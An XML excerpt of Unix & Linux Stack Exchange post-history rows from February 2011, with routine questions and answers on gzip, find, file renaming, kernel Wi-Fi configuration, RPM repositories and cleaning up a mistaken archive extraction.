  <row Id="15551" PostHistoryTypeId="5" PostId="6761" RevisionGUID="df3214c1-88ab-4a4a-83e7-86d1a5cf3d89" CreationDate="2011-02-01T14:24:13.927" UserId="3069" Comment="added 6 characters in body" Text="Something like this should also work for you with recent versions of BASH and ZSH:&#xD;&#xA;&#xD;&#xA;    dd if=/path/to/file of=/path/to/another_file bs=1M count=1 &amp;&gt; /dev/null&#xD;&#xA;&#xD;&#xA;P.S. This is just an example I ran..." />
  <row Id="15552" PostHistoryTypeId="2" PostId="6762" RevisionGUID="cac232ac-5704-419b-803c-b54baf8e4eda" CreationDate="2011-02-01T14:42:17.157" UserId="3633" Text="If you're so inclined, you can install `pyxfce` and somehow handle `active_workspace_changed` callback, e.g. by showing a notification via `notify-send` or `aosd_cat`. But this is, of course, a hack, and no, I didn't try it." />
  <row Id="15553" PostHistoryTypeId="2" PostId="6763" RevisionGUID="21010d0b-2094-4be3-b90a-f4c5bdf9119f" CreationDate="2011-02-01T15:06:47.163" UserId="250" Text="Most probably the new kernel doesn't have the modules that comes with your proprietary driver and fails to use your configuration files. If you still have the boot menu that comes with a default Ubuntu installation then you can choose &quot;Recovery mode&quot;. In the next menu choose to boot into safe mode, and if Ubuntu asks if you want to create a new configuration file just allow it to do so. There should be other ways to generate new configuration (like deleting some dot files) but I just know this way.&#xD;&#xA;&#xD;&#xA;Then when everything is OK reinstall the graphic driver." />
  <row Id="15554" PostHistoryTypeId="2" PostId="6764" RevisionGUID="398a0ec3-3c6b-4a90-ac0a-f944111e985d" CreationDate="2011-02-01T15:13:35.390" UserId="3976" Text="If by 'empty' you mean that the uncompressed file is 0 bytes, you could use `gzip --list foo.gz` to determine the size of the uncompressed file, it would require some parsing to automate it.  It looks something like this:&#xD;&#xA;&#xD;&#xA;    $ gzip --list foo.gz&#xD;&#xA;             compressed        uncompressed  ratio uncompressed_name&#xD;&#xA;                     24                   0   0.0% foo&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15555" PostHistoryTypeId="2" PostId="6765" RevisionGUID="4e15d2c3-05f3-44c5-b459-833663c828a0" CreationDate="2011-02-01T15:33:26.403" UserId="1571" Text="You'll probably have to reinstall your drivers since the drivers rely on the kernel headers. Reboot into recovery mode and then blacklist the fglrx module. Then you can reboot into your console and reinstall the drivers.&#xD;&#xA;&#xD;&#xA;Fglrx drivers have always been a pain since it makes it ridiculous to upgrade your kernel." />
  <row Id="15556" PostHistoryTypeId="2" PostId="6766" RevisionGUID="95ad7f49-f316-4b15-bc67-1747dd369cd8" CreationDate="2011-02-01T15:34:05.513" UserId="1131" Text="[For Ubuntu there is this convenient PPA service available][1] where you can get your own package repository. &#xD;&#xA;&#xD;&#xA;You can put there source packages which are under an open source license, e.g. development snapshots of your software.&#xD;&#xA;&#xD;&#xA;(The server takes care of creating the right binary package and signs it with the repository key.)&#xD;&#xA;&#xD;&#xA;Users then only need to add the repository address with one command and can install the packages via apt-get.&#xD;&#xA;&#xD;&#xA;Since I am looking into Fedora - is there is something like this available for Fedora packages?&#xD;&#xA;&#xD;&#xA;If yes, what architectures/distribution versions are supported? How much space is available?&#xD;&#xA;&#xD;&#xA;What is the way to publish packages for multiple rpm distributions via such a service (e.g. current Fedora version and RHEL)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.launchpad.net/Packaging/PPA" />
  <row Id="15557" PostHistoryTypeId="1" PostId="6766" RevisionGUID="95ad7f49-f316-4b15-bc67-1747dd369cd8" CreationDate="2011-02-01T15:34:05.513" UserId="1131" Text="Is there is a PPA-service equivalent in the Fedora world?" />
  <row Id="15558" PostHistoryTypeId="3" PostId="6766" RevisionGUID="95ad7f49-f316-4b15-bc67-1747dd369cd8" CreationDate="2011-02-01T15:34:05.513" UserId="1131" Text="éfedoraàépackagingàérpmà" />
  <row Id="15559" PostHistoryTypeId="2" PostId="6767" RevisionGUID="aa3401b2-0500-413f-86fd-f3b23b2ac029" CreationDate="2011-02-01T15:45:09.060" UserId="3976" Text="The closest thing I can think of is [Koji for Fedora package maintainers][1].  If you want to host your own packages, it's pretty trivial to build your own packages locally and put them someplace web accessible.  You can create the yum repository with the `createrepo` tool.  Then you can just create a repo configuration in /etc/yum.repos.d/ that points to that web-based repository.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/Koji" />
  <row Id="15560" PostHistoryTypeId="5" PostId="4590" RevisionGUID="d789dff4-de3d-4539-afcf-fbb841330815" CreationDate="2011-02-01T16:26:02.057" UserId="250" Comment="added 1712 characters in body" Text="I got the solution on [Gentoo Forums][1]. It turned out to be a mis-configured kernel. Hope that helps anyone who has the same problem :)&#xD;&#xA;&#xD;&#xA;Here is the kernel configuration that works (I copied it from the post that I linked to above):&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;[*] Networking support  ---&gt; &#xD;&#xA; -*-   Wireless  ---&gt; &#xD;&#xA;  &lt;*&gt;   cfg80211 - wireless configuration API                      &#xD;&#xA;    [ ]     nl80211 testmode command                            &#xD;&#xA;    [ ]     enable developer warnings                              &#xD;&#xA;    [ ]     cfg80211 regulatory debugging                            &#xD;&#xA;    [*]     enable powersave by default                            &#xD;&#xA;    [ ]     cfg80211 DebugFS entries                                &#xD;&#xA;    [*]     cfg80211 wireless extensions compatibility                  &#xD;&#xA;    [*]   Wireless extensions sysfs files                            &#xD;&#xA;   &lt;*&gt;   Common routines for IEEE802.11 drivers &#xD;&#xA;    [ ]   lib80211 debugging messages                                &#xD;&#xA;   &lt;*&gt;   Generic IEEE 802.11 Networking Stack (mac80211)            &#xD;&#xA;            Default rate control algorithm (Minstrel)  ---&gt;            &#xD;&#xA;     [ ]   Enable mac80211 mesh networking (pre-802.11s) support      &#xD;&#xA;     -*-   Enable LED triggers                                      &#xD;&#xA;     [ ]   Export mac80211 internals in DebugFS                      &#xD;&#xA;     [ ]   Select mac80211 debugging features  ---&gt; &#xD;&#xA;&#xD;&#xA; Device Drivers  ---&gt; &#xD;&#xA;[*] Network device support  ---&gt; &#xD;&#xA; [*]   Wireless LAN  ---&gt; &#xD;&#xA; &lt;M&gt;   Atheros Wireless Cards  ---&gt; &#xD;&#xA;   [*]   Atheros wireless debugging                                  &#xD;&#xA;  &lt;  &gt;   Atheros 5xxx wireless cards support                        &#xD;&#xA;  &lt;M&gt;   Atheros 802.11n wireless cards support                      &#xD;&#xA;   [*]     Atheros ath9k debugging                                  &#xD;&#xA;  &lt; &gt;   Atheros AR9170 802.11n USB support &#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.gentoo.org/viewtopic.php?p=6483150#6507317" />
  <row Id="15561" PostHistoryTypeId="5" PostId="4590" RevisionGUID="6a9d6356-b203-4d76-b214-d943d970b9f5" CreationDate="2011-02-01T16:41:10.537" UserId="250" Comment="deleted 767 characters in body" Text="I got the solution on [Gentoo Forums][1]. It turned out to be a mis-configured kernel. Hope that helps anyone who has the same problem :)&#xD;&#xA;&#xD;&#xA;Here is the kernel configuration that works (from the post that I linked to above):&#xD;&#xA;&#xD;&#xA;    [*] Networking support  ---&gt;&#xD;&#xA;        -*-   Wireless  ---&gt;&#xD;&#xA;            &lt;*&gt;   cfg80211 - wireless configuration API                                                                                                                  &#xD;&#xA;            [*]     enable powersave by default&#xD;&#xA;            [*]     cfg80211 wireless extensions compatibility&#xD;&#xA;            [*]   Wireless extensions sysfs files&#xD;&#xA;            &lt;*&gt;   Common routines for IEEE802.11 drivers&#xD;&#xA;            &lt;*&gt;   Generic IEEE 802.11 Networking Stack (mac80211)&#xD;&#xA;                  Default rate control algorithm (Minstrel)  ---&gt;&#xD;&#xA;            -*-   Enable LED triggers&#xD;&#xA;&#xD;&#xA;    Device Drivers  ---&gt;&#xD;&#xA;        [*] Network device support  ---&gt;&#xD;&#xA;            [*]   Wireless LAN  ---&gt;&#xD;&#xA;                &lt;*&gt;   Atheros Wireless Cards  ---&gt;&#xD;&#xA;                    &lt;*&gt;   Atheros 802.11n wireless cards support&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.gentoo.org/viewtopic.php?p=6483150#6507317" />
  <row Id="15562" PostHistoryTypeId="2" PostId="6768" RevisionGUID="c2fece18-510a-4f89-8b92-80ad5d77e479" CreationDate="2011-02-01T16:45:22.837" UserId="3629" Text="You'll most likely have to write your own versions of the functions you want, though in some cases you may be able to use libc source code as a starting point.  The functions in libc itself are written under all the assumptions of a UNIX userspace program, including:&#xD;&#xA;&#xD;&#xA;* the presence of the kernel (or more specifically, the syscall interface to the kernel)&#xD;&#xA;* a flat memory model&#xD;&#xA;* a dynamic linking infrastructure (unless statically linked)&#xD;&#xA;&#xD;&#xA;and at the bootloader stage, you have none of these.  Instead, (by default, under Intel) you've got the BIOS, a segmented memory model, no memory protection, and full reign of the machine.&#xD;&#xA;&#xD;&#xA;It's the same reason you see the custom `printk()` function in kernel code instead of `printf()` -- the assumptions that libc's `printf()` makes just don't apply in kernel space." />
  <row Id="15563" PostHistoryTypeId="2" PostId="6769" RevisionGUID="e7919033-5026-477e-aaef-415e50ecee76" CreationDate="2011-02-01T16:51:17.897" UserId="3959" Text="If you have Ubuntu installed, try&#xD;&#xA;&#xD;&#xA;    System -&gt; Administration -&gt; Startup Disk Creator&#xD;&#xA;&#xD;&#xA;Select your ISO and the USB drive, push the button... done!" />
  <row Id="15564" PostHistoryTypeId="25" PostId="6766" RevisionGUID="85e73fe7-2bd3-4414-bea1-2a8458a026bc" CreationDate="2011-02-01T17:16:14.530" Comment="http://twitter.com/#!/StackUnix/status/32487400340987904" />
  <row Id="15566" PostHistoryTypeId="10" PostId="6686" RevisionGUID="a0951a55-97c2-4e14-9212-8ecea4e7bc12" CreationDate="2011-02-01T17:22:48.627" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="15567" PostHistoryTypeId="5" PostId="6686" RevisionGUID="c3eed400-6f51-4f8e-b295-e2a56f11319d" CreationDate="2011-02-01T17:22:48.770" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How to de-unzip, de-tar -xvf &amp;mdash; de-unarchive in a messy folder?](http://unix.stackexchange.com/questions/5123/how-to-de-unzip-de-tar-xvf-de-unarchive-in-a-messy-folder)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have just accidentally extracted a cpio archive as root into `/`. Now my `/` is littered with junks. What is a proper way to clean up those files?" />
  <row Id="15568" PostHistoryTypeId="18" PostId="6686" RevisionGUID="ed450506-3318-4de6-9447-6cb327440c33" CreationDate="2011-02-01T17:23:09.207" UserId="73" Comment="to http://unix.stackexchange.com/questions/5123/how-to-de-unzip-de-tar-xvf-de-unarchive-in-a-messy-folder" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="15570" PostHistoryTypeId="18" PostId="6690" RevisionGUID="ed450506-3318-4de6-9447-6cb327440c33" CreationDate="2011-02-01T17:23:09.207" UserId="73" Comment="from http://unix.stackexchange.com/questions/6686/clean-up-after-accidentally-extracting-archive-into-it" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="15571" PostHistoryTypeId="18" PostId="5123" RevisionGUID="ed450506-3318-4de6-9447-6cb327440c33" CreationDate="2011-02-01T17:23:09.207" UserId="73" Comment="from http://unix.stackexchange.com/questions/6686/clean-up-after-accidentally-extracting-archive-into-it" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="15572" PostHistoryTypeId="14" PostId="6686" RevisionGUID="94cae595-e833-4939-ba1d-88f1c710f85d" CreationDate="2011-02-01T17:23:09.500" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="15573" PostHistoryTypeId="5" PostId="6690" RevisionGUID="22799356-db04-4f9b-91c0-7354341e680b" CreationDate="2011-02-01T17:23:35.587" UserId="73" Comment="Merging from 6686" Text="I'm feeling stupid, anyway I scratched my head to write up this script when I had a similar problem. I used `cpio` with the `-it` flag to get a list of files; you can use equivalent commands for other archivers. The tricky part is, the cpio archive is from an initrd and I extracted into `/`, so many folders and files have the same name as in a working system. Luckily cpio didn't overwrite any of my existing files. I use a time check to ensure not to delete anything that existed before the wrong command.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;&#xD;&#xA;    files=$(cpio -it &lt; /mnt/temp/lglive.cpio)&#xD;&#xA;&#xD;&#xA;    for i in ${files}&#xD;&#xA;    do&#xD;&#xA;        name=$(stat -c &quot;%n&quot; ${i})&#xD;&#xA;        time=$(stat -c &quot;%Y&quot; ${i})&#xD;&#xA;        # Time of the creation of the mess: 1296457595&#xD;&#xA;        if [[ ${time} -gt 1296457590 &amp;&amp; ${time} -lt 1296457600 ]]&#xD;&#xA;        then&#xD;&#xA;            if [[ -f ${name} ]]&#xD;&#xA;            # If it is a file, it must have been created as part of the mess.&#xD;&#xA;            then&#xD;&#xA;                echo &quot;rm ${name}&quot;&#xD;&#xA;            elif [[ -d ${name} ]]&#xD;&#xA;            # If it is a directory, it may have been part of the mess&#xD;&#xA;            # or maybe some files underneath it is created as part of the mess.&#xD;&#xA;            then&#xD;&#xA;                if [[ $(ls -A ${name}) ]]&#xD;&#xA;                # If the directory contains something then don't delete it.&#xD;&#xA;                then&#xD;&#xA;                    echo &quot;${name} is not empty&quot;&#xD;&#xA;                # If the directory is empty then assume it is rubbish.&#xD;&#xA;                else&#xD;&#xA;                    echo &quot;rmdir ${name}&quot;&#xD;&#xA;                fi&#xD;&#xA;            fi&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;    echo &quot;Files and directories still exist after the removal:&quot;&#xD;&#xA;    for i in ${files}&#xD;&#xA;    do&#xD;&#xA;        if [[ -e ${i} ]]&#xD;&#xA;        then&#xD;&#xA;            echo ${i}&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="15574" PostHistoryTypeId="2" PostId="6770" RevisionGUID="d95e5370-d607-470b-826f-4b2b5bbe9dd5" CreationDate="2011-02-01T18:19:20.473" UserId="3447" Text="OpenSuse Build Service perhaps?  Don't let the name OpenSuse fool you, it supports other distros as well.  I don't believe it gives you a yum repository, but it does give you a place for users to download your .rpm files.  But the coolest thing it does is it will compile your package for you in whatever architectures and whatever versions of Fedora/Suse/etc you want to support.&#xD;&#xA;&#xD;&#xA;Main page: https://build.opensuse.org/  &#xD;&#xA;Wiki page: http://en.opensuse.org//openSUSE:Build_Service" />
  <row Id="15575" PostHistoryTypeId="6" PostId="1477" RevisionGUID="ba9d1686-fe6e-4759-a69a-d642dfefe398" CreationDate="2011-02-01T18:37:10.063" UserId="885" Comment="edited tags" Text="élinuxàésoftwareörecàépresentationà" />
  <row Id="15576" PostHistoryTypeId="2" PostId="6771" RevisionGUID="47c7a2af-ef33-42af-8942-f689fb0bc707" CreationDate="2011-02-01T18:49:28.943" UserId="885" Text="`gzip -l foo.gz | awk 'NR==2 {print $2}'` prints the size of the uncompressed data.&#xD;&#xA;&#xD;&#xA;    if LC_ALL=C gzip -l foo.gz | awk 'NR==2 {exit($2!=0)}'; then&#xD;&#xA;      echo foo is empty&#xD;&#xA;    else&#xD;&#xA;      echo foo is not empty&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Alternatively you can start uncompressing the data.&#xD;&#xA;&#xD;&#xA;    if gunzip &lt;foo.gz | read -r line; then&#xD;&#xA;      echo &quot;The first line of foo is: $line&quot;&#xD;&#xA;    else&#xD;&#xA;      echo &quot;foo is empty&quot;&#xD;&#xA;    fi&#xD;&#xA;" />
  <row Id="15577" PostHistoryTypeId="2" PostId="6772" RevisionGUID="9fa5894e-a231-466f-8e5c-dc9aeea75d65" CreationDate="2011-02-01T19:00:07.637" UserId="4389" Text="I know it's the same questions (and person asking), but as I was looking for the same answer I thought that crosslinking to solution can be useful for other people:&#xD;&#xA;&#xD;&#xA;http://askubuntu.com/questions/20113/how-to-stop-mod4-p-from-switching-the-display/20273#20273" />
  <row Id="15578" PostHistoryTypeId="2" PostId="6773" RevisionGUID="5072542a-0994-43e3-adcb-d68ba267cc76" CreationDate="2011-02-01T19:03:02.410" UserId="4390" Text="I'm trying to find out all of the different types of files in my unorganized music folder. I've been trying this command (to list files of types besides the ones I know are in there):&#xD;&#xA;&#xD;&#xA;    find zUnorganized/ -not -iname &quot;*.mp3&quot; -and -not -iname &quot;*.flac&quot; -and -not -iname &quot;*.MP3&quot; -and -not -iname &quot;*.wav&quot; -or -not -iname &quot;*.m4a&quot; -and -not -iname &quot;*.jpg&quot;&#xD;&#xA;&#xD;&#xA;But it's not working. How would I get that command work? Is there a way to do it using -regex? &#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="15579" PostHistoryTypeId="1" PostId="6773" RevisionGUID="5072542a-0994-43e3-adcb-d68ba267cc76" CreationDate="2011-02-01T19:03:02.410" UserId="4390" Text="How to find files not of a certain type?" />
  <row Id="15580" PostHistoryTypeId="3" PostId="6773" RevisionGUID="5072542a-0994-43e3-adcb-d68ba267cc76" CreationDate="2011-02-01T19:03:02.410" UserId="4390" Text="écommandölineàéfindà" />
  <row Id="15581" PostHistoryTypeId="5" PostId="6714" RevisionGUID="ad762313-f60d-46a7-a49e-d2582ca652b6" CreationDate="2011-02-01T19:06:20.927" UserId="3718" Comment="linkified `tee`--a command I wasn't familiar with" Text="Redirection does not work that way. Appending `&gt;` to a command will run that redirection as the invoking user (you) and not as root. Do it with [`tee`][1]:&#xD;&#xA;&#xD;&#xA;    echo 20 | sudo tee /sys/devices/virtual/backlight/acpi_video0/brightness&#xD;&#xA;&#xD;&#xA;or by invoking the command in a separate privileged shell:&#xD;&#xA;&#xD;&#xA;    sudo bash -c &quot;echo 20 &gt; /sys/devices/virtual/backlight/acpi_video0/brightness&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Tee_(command)" />
  <row Id="15582" PostHistoryTypeId="24" PostId="6714" RevisionGUID="df052aab-0782-44ba-96d7-67d86d496814" CreationDate="2011-02-01T19:06:20.927" Comment="Proposed by 3718 approved by 73 edit id of 6" />
  <row Id="15583" PostHistoryTypeId="2" PostId="6774" RevisionGUID="649740fd-5960-4c57-b5ed-f37fda2c1c4e" CreationDate="2011-02-01T19:19:16.140" UserId="885" Text="You wrote (redundant parentheses added for clarity):&#xD;&#xA;&#xD;&#xA;    find zUnorganized/ \( -not -iname &quot;*.mp3&quot; -and -not -iname &quot;*.flac&quot; -and -not -iname &quot;*.MP3&quot; -and -not -iname &quot;*.wav&quot; \) \&#xD;&#xA;                   -or \( -not -iname &quot;*.m4a&quot; -and -not -iname &quot;*.jpg&quot; \)&#xD;&#xA;&#xD;&#xA;Either use `-and -not` throughout, or use `or` throughout and finish with `-print` (meaning: do nothing for this, otherwise do nothing for that, etc, otherwise print). You'll also want to limit the search to regular files, otherwise directories will be listed.&#xD;&#xA;&#xD;&#xA;    find zUnorganized/ -type f -not -iname &quot;*.mp3&quot; -and -not -iname &quot;*.flac&quot; -and -not -iname &quot;*.MP3&quot; -and -not -iname &quot;*.wav&quot; -and -not -iname &quot;*.m4a&quot; -and -not -iname &quot;*.jpg&quot;&#xD;&#xA;    find zUnorganized/ \! -type f -o \&#xD;&#xA;                       -iname &quot;*.mp3&quot; -o -iname &quot;*.flac&quot; -o -iname &quot;*.MP3&quot; -o -iname &quot;*.wav&quot; -o -iname &quot;*.m4a&quot; -o -iname &quot;*.jpg&quot; -o \&#xD;&#xA;                       -print&#xD;&#xA;" />
  <row Id="15584" PostHistoryTypeId="2" PostId="6775" RevisionGUID="57c2b291-8b79-4e2f-9c05-a558c067f5b0" CreationDate="2011-02-01T19:44:52.960" UserId="4319" Text="Some frequent cases for me are:&#xD;&#xA;&#xD;&#xA;For renaming:&#xD;&#xA;&#xD;&#xA;    mv myText.{txt,tex}&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    mv myText.tex{,.old}&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    cp myText.tex{,.backup}&#xD;&#xA;&#xD;&#xA;(Although it's less messy to use version control for the last 2 tasks.)&#xD;&#xA;&#xD;&#xA;For comparing (already mentioned):&#xD;&#xA;&#xD;&#xA;    diff path{1,2}/a.txt&#xD;&#xA;" />
  <row Id="15585" PostHistoryTypeId="25" PostId="6773" RevisionGUID="e1394047-ff0b-45c4-aa23-7b8b08d56420" CreationDate="2011-02-01T20:16:15.000" Comment="http://twitter.com/#!/StackUnix/status/32532700560625664" />
  <row Id="15586" PostHistoryTypeId="2" PostId="6776" RevisionGUID="b42519d6-0257-4da6-a6fd-ec49dfadd746" CreationDate="2011-02-01T20:33:16.450" UserId="366" Text="We're using HP DataProtector for our backup environment. The installation method leaves something to be desired, and we're attempting to automate it in such a way that it makes our Unix admins cringe less often. We're a SLES/OpenSUSE shop, so we're attempting to make up a YUM repository with the DP patches.&#xD;&#xA;&#xD;&#xA;I can make the repo just fine, it's just that the patch RPMs aren't configured right. The 'Revision' field in the RPM is not set correctly, they're all &quot;1&quot; even though the master RPM I pulled them out of is correctly incrementing.&#xD;&#xA;&#xD;&#xA;I would really like to be able to rebuild these RPMs with the correct Revision, as that would allow the normal update process to deal with these patches instead of the strange way HP wants to handle these. &#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;The strange way HP wants to handle these requires:&#xD;&#xA;&#xD;&#xA; - Setting up an Installation Server with all of the software. No problem.&#xD;&#xA; - Allowing `root` to ssh into client stations to install software that affects xinitd config&#xD;&#xA;   - Which in turn requires a passwordless SSH public-key to be placed on all target machines so the install process can remote in w/o prompting.&#xD;&#xA;   - Before any deployments can be made, each client must be manually SSHed to by root on the repo server in order to populate known_hosts&#xD;&#xA;&#xD;&#xA;Since we don't allow `root` logins via SSH, every time we get a patch we have to touch each server's sshd_config to allow them temporarily. We've also proven  that after the initial install, subsequent patches can just be installed via `rpm` just peachy. So, we'd like to get that into a YUM repo if at all possible." />
  <row Id="15587" PostHistoryTypeId="1" PostId="6776" RevisionGUID="b42519d6-0257-4da6-a6fd-ec49dfadd746" CreationDate="2011-02-01T20:33:16.450" UserId="366" Text="Repackaging RPMs" />
  <row Id="15588" PostHistoryTypeId="3" PostId="6776" RevisionGUID="b42519d6-0257-4da6-a6fd-ec49dfadd746" CreationDate="2011-02-01T20:33:16.450" UserId="366" Text="épackagingàérpmàépatchà" />
  <row Id="15589" PostHistoryTypeId="2" PostId="6777" RevisionGUID="4d0ce7df-1bd5-49ea-b8f0-452d7f8dae0a" CreationDate="2011-02-01T20:52:25.200" UserId="4390" Text="I have a directories with .MP3 files which I'd like to change the extensions to .mp3. What's the easiest way to do this? I'm think something along the lines of&#xD;&#xA;&#xD;&#xA;    find /RootPath -type f -iname &quot;*.mp3&quot; -exec mv {} sed s/.*MP3/\1.mp3/ \; &#xD;&#xA;&#xD;&#xA;Though I know that isn't quite right :) because the substitution isn't correct and I'm not sure how to use both a mv and a sed command with -exec in find.&#xD;&#xA;&#xD;&#xA;Would I need a bash script for this?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15590" PostHistoryTypeId="1" PostId="6777" RevisionGUID="4d0ce7df-1bd5-49ea-b8f0-452d7f8dae0a" CreationDate="2011-02-01T20:52:25.200" UserId="4390" Text="How to clean up file extensions?" />
  <row Id="15591" PostHistoryTypeId="3" PostId="6777" RevisionGUID="4d0ce7df-1bd5-49ea-b8f0-452d7f8dae0a" CreationDate="2011-02-01T20:52:25.200" UserId="4390" Text="écommandölineàéfindà" />
  <row Id="15592" PostHistoryTypeId="5" PostId="6759" RevisionGUID="d2b759d2-8ace-4e97-8f37-07f6f0fab3c7" CreationDate="2011-02-01T20:55:53.360" UserId="3069" Comment="added 22 characters in body" Text="    test -z $(gzip -cd foo.gz | head -c1) &amp;&amp; echo &quot;empty&quot;&#xD;&#xA;&#xD;&#xA;Or with `if`:&#xD;&#xA;&#xD;&#xA;    if [ -z $(gzip -cd foo.gz | head -c1) ]; then&#xD;&#xA;      echo &quot;empty&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;`zcat` is sometimes linked to `gunzip -c` or `gzip -cd`, if you want to use it as the shorter &quot;form&quot;." />
  <row Id="15593" PostHistoryTypeId="2" PostId="6778" RevisionGUID="1c002cd3-8bba-42b5-819f-696d3bb296bd" CreationDate="2011-02-01T21:30:36.277" UserId="1207" Text="Here is one way to do this in Bash:&#xD;&#xA;&#xD;&#xA;    for i in *; do [ &quot;${i/%MP3/mp3}&quot; != &quot;$i&quot; ] &amp;&amp; echo &quot;$i&quot; &quot;${i/%MP3/mp3}&quot;; done&#xD;&#xA;&#xD;&#xA;I've used `echo` here so the command itself doesn't do anything but print pairs of files names.  If that list represents the changes you want to make, then you can change `echo` to something like `mv -i --` which will then move your files (and prompt you before overwriting).  &#xD;&#xA;&#xD;&#xA;##Brief Explanation&#xD;&#xA;The `for` iterates through every file matched by `*`.  Then, we determine if the extension is already lowercase, if it is we move on, if it isn't, we proceed to move it (or echo it, as the case may be).  This uses Bash's built in string operations which you can read about here: http://tldp.org/LDP/abs/html/string-manipulation.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15594" PostHistoryTypeId="2" PostId="6779" RevisionGUID="70c145d8-169c-4535-b843-eb65a3e9157f" CreationDate="2011-02-01T21:39:19.697" UserId="3154" Text="Use [perl-renam][1]e, swiss army knife of file-renaming with regular expressions this (on ubuntu, this is bundled with the perl package as prename):&#xD;&#xA;&#xD;&#xA;    find /RootPath -type f -iname '*.mp3' -print0 | xargs -0 perlrename 's/mp3$/mp3/i'&#xD;&#xA;&#xD;&#xA;If you're of the careful sort, use the -n and -v options to perl rename to see what it'll actually do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://search.cpan.org/~rmbarker/File-Rename-0.05/lib/File/Rename.pm" />
  <row Id="15595" PostHistoryTypeId="5" PostId="6779" RevisionGUID="27a03b4e-6989-4228-b6b5-7e4fb66a2786" CreationDate="2011-02-01T21:44:55.680" UserId="3154" Comment="Removed leftovers of what should have been removed in a previous edit" Text="Use [perl-rename][1], swiss army knife of file-renaming with regular expressions (on ubuntu, this is bundled with the perl package as prename):&#xD;&#xA;&#xD;&#xA;    find /RootPath -type f -iname '*.mp3' -print0 | xargs -0 perlrename 's/mp3$/mp3/i'&#xD;&#xA;&#xD;&#xA;If you're of the careful sort, use the -n and -v options to perl rename to see what it'll actually do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://search.cpan.org/~rmbarker/File-Rename-0.05/lib/File/Rename.pm" />
  <row Id="15596" PostHistoryTypeId="5" PostId="6779" RevisionGUID="dffe055a-6b87-455a-907a-506820d615b8" CreationDate="2011-02-01T22:19:32.173" UserId="3154" Comment="added note about replacing prename as appropriate" Text="Use [perl-rename][1], swiss army knife of file-renaming with regular expressions (on ubuntu, this is bundled with the perl package as prename):&#xD;&#xA;&#xD;&#xA;    # Replace prename as appropriate (i.e. if you've got it installed under a different name&#xD;&#xA;    find /RootPath -type f -iname '*.mp3' -print0 | xargs -0 prename 's/mp3$/mp3/i'&#xD;&#xA;&#xD;&#xA;If you're of the careful sort, use the -n and -v options to perl rename to see what it'll actually do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://search.cpan.org/~rmbarker/File-Rename-0.05/lib/File/Rename.pm&#xD;&#xA;" />
  <row Id="15597" PostHistoryTypeId="25" PostId="6777" RevisionGUID="9cc6b34f-6474-4721-bd52-9e4b0d4e84f8" CreationDate="2011-02-01T23:16:14.470" Comment="http://twitter.com/#!/StackUnix/status/32577997311578112" />
  <row Id="15598" PostHistoryTypeId="6" PostId="6777" RevisionGUID="bf30d6ed-6496-4139-ae44-ee5499d2a098" CreationDate="2011-02-01T23:45:52.587" UserId="885" Comment="edited tags" Text="éshellàéfindàérenameà" />
  <row Id="15599" PostHistoryTypeId="2" PostId="6780" RevisionGUID="a5bf650b-1365-4a21-a670-5c10fc176945" CreationDate="2011-02-01T23:48:14.863" UserId="885" Text="In zsh:&#xD;&#xA;&#xD;&#xA;    autoload zmv&#xD;&#xA;    zmv '(*).MP3' '$1.mp3'   # rename files in the current directory only&#xD;&#xA;    zmv '(**/)(*).MP3' '$1$2.mp3'  # rename files in subdirectories as well&#xD;&#xA;" />
  <row Id="15600" PostHistoryTypeId="2" PostId="6781" RevisionGUID="9f53382d-1e44-4699-a98d-b497dbc96ccf" CreationDate="2011-02-02T00:48:21.910" UserId="4249" Text="At the end of a makefile I saw &#xD;&#xA;&#xD;&#xA;    rm -f *~ *.class&#xD;&#xA;&#xD;&#xA;I understand the `*.class`, but what's `*~`?" />
  <row Id="15601" PostHistoryTypeId="1" PostId="6781" RevisionGUID="9f53382d-1e44-4699-a98d-b497dbc96ccf" CreationDate="2011-02-02T00:48:21.910" UserId="4249" Text="What does *~ mean?" />
  <row Id="15602" PostHistoryTypeId="3" PostId="6781" RevisionGUID="9f53382d-1e44-4699-a98d-b497dbc96ccf" CreationDate="2011-02-02T00:48:21.910" UserId="4249" Text="ébashàéshellàérmà" />
